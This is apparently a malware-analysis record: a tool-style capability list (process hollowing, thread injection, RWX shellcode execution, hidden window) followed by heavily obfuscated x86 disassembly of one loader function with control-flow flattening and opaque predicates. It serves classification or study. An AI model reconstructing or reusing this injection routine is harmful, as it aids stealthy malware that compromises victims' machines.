Function at 0x1000e090
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x10087080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0xef8cd44a
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x80643083
je 0x10010aaf
jmp 0x1000e0cc
mov eax, dword [ebp - 0x158]
sub eax, 0x84064bcb
je 0x1001170b
jmp 0x1000e0e2
mov eax, dword [ebp - 0x158]
sub eax, 0x849c6888
je 0x10010282
jmp 0x1000e0f8
mov eax, dword [ebp - 0x158]
sub eax, 0x84c33003
je 0x10013518
jmp 0x1000e10e
mov eax, dword [ebp - 0x158]
sub eax, 0x8515fe76
je 0x1001389f
jmp 0x1000e124
mov eax, dword [ebp - 0x158]
sub eax, 0x86aac575
je 0x100114ff
jmp 0x1000e13a
mov eax, dword [ebp - 0x158]
sub eax, 0x87c740e0
je 0x10010df2
jmp 0x1000e150
mov eax, dword [ebp - 0x158]
sub eax, 0x887762e4
je 0x100121eb
jmp 0x1000e166
mov eax, dword [ebp - 0x158]
sub eax, 0x891e0a2e
je 0x1000fe00
jmp 0x1000e17c
mov eax, dword [ebp - 0x158]
sub eax, 0x8a02182a
je 0x10013257
jmp 0x1000e192
mov eax, dword [ebp - 0x158]
sub eax, 0x8a0c0c37
je 0x100134d5
jmp 0x1000e1a8
mov eax, dword [ebp - 0x158]
sub eax, 0x8a0c3f3b
je 0x1001180d
jmp 0x1000e1be
mov eax, dword [ebp - 0x158]
sub eax, 0x8a6a00c1
je 0x100132cd
jmp 0x1000e1d4
mov eax, dword [ebp - 0x158]
sub eax, 0x8eacd70d
je 0x100119b1
jmp 0x1000e1ea
mov eax, dword [ebp - 0x158]
sub eax, 0x8f6fc1a6
je 0x1000ff86
jmp 0x1000e200
mov eax, dword [ebp - 0x158]
sub eax, 0x8f70f96d
je 0x1001162d
jmp 0x1000e216
mov eax, dword [ebp - 0x158]
sub eax, 0x8f86fe03
je 0x10012748
jmp 0x1000e22c
mov eax, dword [ebp - 0x158]
sub eax, 0x92eec84b
je 0x10012aac
jmp 0x1000e242
mov eax, dword [ebp - 0x158]
sub eax, 0x939edf1d
je 0x10013644
jmp 0x1000e258
mov eax, dword [ebp - 0x158]
sub eax, 0x93a73a6f
je 0x10010883
jmp 0x1000e26e
mov eax, dword [ebp - 0x158]
sub eax, 0x9504d2cb
je 0x100137ac
jmp 0x1000e284
mov eax, dword [ebp - 0x158]
sub eax, 0x95963eb6
je 0x100115dc
jmp 0x1000e29a
mov eax, dword [ebp - 0x158]
sub eax, 0x9672a1cd
je 0x1001303c
jmp 0x1000e2b0
mov eax, dword [ebp - 0x158]
sub eax, 0x986eb3e8
je 0x100116c9
jmp 0x1000e2c6
mov eax, dword [ebp - 0x158]
sub eax, 0x9a9bc552
je 0x10013509
jmp 0x1000e2dc
mov eax, dword [ebp - 0x158]
sub eax, 0x9b4b87ec
je 0x10013325
jmp 0x1000e2f2
mov eax, dword [ebp - 0x158]
sub eax, 0x9b537c5f
je 0x10011dff
jmp 0x1000e308
mov eax, dword [ebp - 0x158]
sub eax, 0x9b90a566
je 0x1001147a
jmp 0x1000e31e
mov eax, dword [ebp - 0x158]
sub eax, 0x9bf3a794
je 0x100137e0
jmp 0x1000e334
mov eax, dword [ebp - 0x158]
sub eax, 0x9d144bea
je 0x100116ee
jmp 0x1000e34a
mov eax, dword [ebp - 0x158]
sub eax, 0x9d904816
je 0x10010fbf
jmp 0x1000e360
mov eax, dword [ebp - 0x158]
sub eax, 0x9e0a120e
je 0x100111d3
jmp 0x1000e376
mov eax, dword [ebp - 0x158]
sub eax, 0xa2010191
je 0x10011692
jmp 0x1000e38c
mov eax, dword [ebp - 0x158]
sub eax, 0xa274f5ce
je 0x100138db
jmp 0x1000e3a2
mov eax, dword [ebp - 0x158]
sub eax, 0xa33c985a
je 0x1001000b
jmp 0x1000e3b8
mov eax, dword [ebp - 0x158]
sub eax, 0xa47be3ca
je 0x100125a2
jmp 0x1000e3ce
mov eax, dword [ebp - 0x158]
sub eax, 0xa4e04c03
je 0x10010ac5
jmp 0x1000e3e4
mov eax, dword [ebp - 0x158]
sub eax, 0xa50a43b1
je 0x10011f25
jmp 0x1000e3fa
mov eax, dword [ebp - 0x158]
sub eax, 0xa7593696
je 0x10010f88
jmp 0x1000e410
mov eax, dword [ebp - 0x158]
sub eax, 0xa7bdf212
je 0x100107b5
jmp 0x1000e426
mov eax, dword [ebp - 0x158]
sub eax, 0xa80464fe
je 0x10011593
jmp 0x1000e43c
mov eax, dword [ebp - 0x158]
sub eax, 0xa964c2cd
je 0x10011de1
jmp 0x1000e452
mov eax, dword [ebp - 0x158]
sub eax, 0xa986d910
je 0x100135b4
jmp 0x1000e468
mov eax, dword [ebp - 0x158]
sub eax, 0xab166337
je 0x10011db9
jmp 0x1000e47e
mov eax, dword [ebp - 0x158]
sub eax, 0xab1e455d
je 0x10011d43
jmp 0x1000e494
mov eax, dword [ebp - 0x158]
sub eax, 0xab849f18
je 0x10011cd5
jmp 0x1000e4aa
mov eax, dword [ebp - 0x158]
sub eax, 0xab881fd4
je 0x1000fda8
jmp 0x1000e4c0
mov eax, dword [ebp - 0x158]
sub eax, 0xac31b82d
je 0x100102c8
jmp 0x1000e4d6
mov eax, dword [ebp - 0x158]
sub eax, 0xac498ac5
je 0x100101cd
jmp 0x1000e4ec
mov eax, dword [ebp - 0x158]
sub eax, 0xac6680a6
je 0x100101a5
jmp 0x1000e502
mov eax, dword [ebp - 0x158]
sub eax, 0xac7c2655
je 0x10012a03
jmp 0x1000e518
mov eax, dword [ebp - 0x158]
sub eax, 0xac80a3fb
je 0x10013580
jmp 0x1000e52e
mov eax, dword [ebp - 0x158]
sub eax, 0xacdea99b
je 0x10010f3b
jmp 0x1000e544
mov eax, dword [ebp - 0x158]
sub eax, 0xad9c4d0a
je 0x10012d15
jmp 0x1000e55a
mov eax, dword [ebp - 0x158]
sub eax, 0xae441f85
je 0x10010ecf
jmp 0x1000e570
mov eax, dword [ebp - 0x158]
sub eax, 0xaeb1c7b0
je 0x10012db9
jmp 0x1000e586
mov eax, dword [ebp - 0x158]
sub eax, 0xaeba9b20
je 0x10010ca3
jmp 0x1000e59c
mov eax, dword [ebp - 0x158]
sub eax, 0xaedcbc57
je 0x1000fc1b
jmp 0x1000e5b2
mov eax, dword [ebp - 0x158]
sub eax, 0xaf0b9d75
je 0x100116d8
jmp 0x1000e5c8
mov eax, dword [ebp - 0x158]
sub eax, 0xaf0d0265
je 0x100134f3
jmp 0x1000e5de
mov eax, dword [ebp - 0x158]
sub eax, 0xaf58e4e0
je 0x100120e3
jmp 0x1000e5f4
mov eax, dword [ebp - 0x158]
sub eax, 0xaf99e42b
je 0x10011ff0
jmp 0x1000e60a
mov eax, dword [ebp - 0x158]
sub eax, 0xb07ae058
je 0x10012e69
jmp 0x1000e620
mov eax, dword [ebp - 0x158]
sub eax, 0xb130c856
je 0x10012961
jmp 0x1000e636
mov eax, dword [ebp - 0x158]
sub eax, 0xb163e730
je 0x1000ff2e
mov byte [ebp - 0x111], 0
mov dword [ebp - 0x154], 0xc8151166
jmp 0x100138e5
mov byte [ebp - 0x111], 1
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
mov edx, eax
sub edx, 0x5028c417
sub edx, 1
add edx, 0x5028c417
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6c622e2b
mov ecx, 0x891e0a2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x154], 0xb8ab3734
jmp 0x100138e5
mov dword [ebp - 0x154], 0x603afe29
jmp 0x100138e5
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfead4aa9
mov ecx, 0xde8d083e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x118], 0xefb8ef4
mov dword [ebp - 0x154], 0xf57bf0f9
jmp 0x100138e5
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
mov edx, eax
add edx, 0x5c20165d
sub edx, 1
sub edx, 0x5c20165d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x628f810b
mov ecx, 0xc759ae60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov edx, dword [ebp - 0xe8]
mov eax, 0xc0b98490
mov ecx, 0x71192bbf
cmp edx, 0xefb8f15
cmovle eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x154], 0xb28e044b
jmp 0x100138e5
mov dword [ebp - 0x154], 0xb27caf35
jmp 0x100138e5
mov dword [ebp - 0x154], 0xf95120a7
jmp 0x100138e5
mov byte [ebp - 0x11a], 1
mov dword [ebp - 0x154], 0xa4e04c03
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
mov edx, ecx
add edx, 0xcb21d5b0
sub edx, 1
sub edx, 0xcb21d5b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84c33003
mov ecx, 0x7c1d8189
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x120], 0xefb8ee8
mov dword [ebp - 0x154], 0xd7f77644
jmp 0x100138e5
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x154], 0xdc30ec74
jmp 0x100138e5
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x120], eax
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
mov edx, eax
add edx, 0x35c1a1c4
sub edx, 1
sub edx, 0x35c1a1c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe748af0d
mov ecx, 0x701c56be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x120], 1
mov dword [ebp - 0x154], 0x460955e5
jmp 0x100138e5
mov dl, byte [ebp - 0x121]
mov eax, 0xe9c9cefb
mov ecx, 0x3d57e4a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
mov edx, eax
sub edx, 0x3154d5c9
sub edx, 1
add edx, 0x3154d5c9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x451ea712
mov ecx, 0x7f77d83b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec9e2de6
mov ecx, 0xbafdbeac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x154], 0x51890adf
jmp 0x100138e5
mov byte [ebp - 0x122], 0
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfcbc1554
mov ecx, 0xbdd7a980
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x179c30e9
mov ecx, 0x95963eb6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
mov edx, eax
sub edx, 0x94c273b2
sub edx, 1
add edx, 0x94c273b2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x179c30e9
mov ecx, 0x8f70f96d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x154], 0x55748b80
jmp 0x100138e5
mov dl, byte [ebp - 0xd1]
mov eax, 0xf59c84d3
mov ecx, 0xaf0b9d75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x154], 0x26591c93
jmp 0x100138e5
mov byte [ebp - 0x123], 1
mov dword [ebp - 0x154], 0x9d144bea
jmp 0x100138e5
mov dl, 1
mov eax, 0x5b4c8ed5
mov ecx, 0x84064bcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
mov edx, ecx
sub edx, 0xda0ac808
sub edx, 1
add edx, 0xda0ac808
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcf44679f
mov ecx, 0xebe3ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x154], 0x6b044d8e
jmp 0x100138e5
mov eax, dword [ebp - 0x128]
sub eax, 0xadf82907
add eax, 1
add eax, 0xadf82907
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x154], 0x7bd1b0bf
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x409ee619
mov ecx, 0xab1e455d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
mov edx, ecx
add edx, 0xf725ae6a
sub edx, 1
sub edx, 0xf725ae6a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x409ee619
mov ecx, 0xab166337
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x154], 0x21350ffd
jmp 0x100138e5
mov dword [ebp - 0x154], 0x21350ffd
jmp 0x100138e5
mov dword [ebp - 0x130], 0xefb8ee6
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x154], 0x7b8c5106
jmp 0x100138e5
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xc0], eax
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
mov edx, eax
sub edx, 0x2f52e178
sub edx, 1
add edx, 0x2f52e178
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x939edf1d
mov ecx, 0x118c83f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov byte [ebp - 0x131], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100082c0
add esp, 4
lea eax, [0x10034bbc]
sub esp, 4
mov dword [esp], eax
call fcn.100082c0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call fcn.10008210
add esp, 8
lea eax, section..data
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x154], 0x5eb90db2
jmp 0x100138e5
mov edx, dword [ebp - 0xbc]
mov eax, 0x31cd8a64
mov ecx, 0x1b9fdb40
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
mov edx, ecx
add edx, 0xc88c3c6f
sub edx, 1
sub edx, 0xc88c3c6f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcc68769b
mov ecx, 0x2578e17c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dl, byte [ebp - 0xa9]
mov eax, 0x7ddf934f
mov ecx, 0xd3d5780f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x154], 0xc41dd9ef
jmp 0x100138e5
mov eax, dword [ebp - 0x98]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x9c]
add ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [eax], 0
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9504d2cb
mov ecx, 0x49f948de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x140]
mov ax, word [eax + 6]
mov word [ebp - 0x8e], ax
mov dword [ebp - 0x154], 0xf905bfb1
jmp 0x100138e5
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x104]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x88], eax
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
mov edx, eax
add edx, 0x4e25f235
sub edx, 1
sub edx, 0x4e25f235
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9bf3a794
mov ecx, 0x5d2c810b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov ecx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x140]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 0xc
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x154], 0x2988dcd0
jmp 0x100138e5
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
mov edx, ecx
add edx, 0x5bf9a4f7
sub edx, 1
sub edx, 0x5bf9a4f7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6c2ff624
mov ecx, 0x2caba620
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x34]
add ecx, 0x4e7f4e18
sub ecx, eax
sub ecx, 0x4e7f4e18
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x154], 0xe03a76ff
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
mov edx, ecx
add edx, 0xa140da9c
sub edx, 1
sub edx, 0xa140da9c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd3a80ca
mov ecx, 0xea5105bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov ecx, dword [0x10088664]
mov eax, dword [0x10088660]
mov edx, ecx
sub edx, 0x6167ee8c
sub edx, 1
add edx, 0x6167ee8c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2bfddb2a
mov ecx, 0x8a6a00c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10088664]
mov ecx, dword [0x10088660]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bfddb2a
mov ecx, 0x9b4b87ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100138e5
mov dword [ebp - 0x154], 0x31cd8a64
jmp 0x100138e5
mov dword [ebp - 0x154], 0x217f7d21
jmp 0x100138e5
mov byte [ebp - 0x11a], 1
mov dword [ebp - 0x154], 0x2b3d2423
jmp 0x100138e5
mov dword [ebp - 0x154], 0x5c51802d
jmp 0x100138e5
mov dword [ebp - 0x154], 0x7c1d8189
jmp 0x100138e5
mov dword [ebp - 0x154], 0xcb6bae10
jmp 0x100138e5
mov dword [ebp - 0x154], 0x6d4c885f
jmp 0x100138e5
mov dword [ebp - 0x154], 0xa50a43b1
jmp 0x100138e5
mov eax, dword [ebp - 0x98]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x9c]
add ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xb130c856
jmp 0x100138e5
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x154], 0x92eec84b
jmp 0x100138e5
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0x9765d29
jmp 0x100138e5
mov dword [ebp - 0x154], 0xb6974df2
jmp 0x1000e0b0